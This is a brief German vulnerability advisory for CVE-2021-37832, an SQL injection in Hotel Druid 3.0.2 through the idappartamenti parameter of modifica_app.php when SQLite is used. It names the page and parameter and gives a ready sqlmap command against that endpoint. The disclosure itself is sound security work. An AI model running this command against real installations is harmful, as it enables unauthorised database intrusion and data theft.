
CVE-2021-37832 - Hotel Druid 3.0.2 SQL-Injection-Schwachstelle - 9.8 CVSS 3.1
In Version 3.0.2 von Hotel Druid besteht eine SQL-Injection-Sicherheitslücke, wenn SQLite als Anwendungsdatenbank verwendet wird. Ein böswilliger Angreifer kann über den anfälligen Parameter idappartamenti SQL-Befehle an die SQLite-Datenbank senden.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37832
https://nvd.nist.gov/vuln/detail/CVE-2021-37832#match-6858716
Anfällige PHP-Seite:
modifica_app.php - idappartamenti Parameter
Anfälliger Payload
sqlmap -u "/modifica_app.php?tipo_tabella=appartamenti&anno=2021&id_sessione=&idappartamenti=01" --level=3 --risk=2 --banner --dbms=sqlite
Entdeckt von Joe Helle, Juli 2021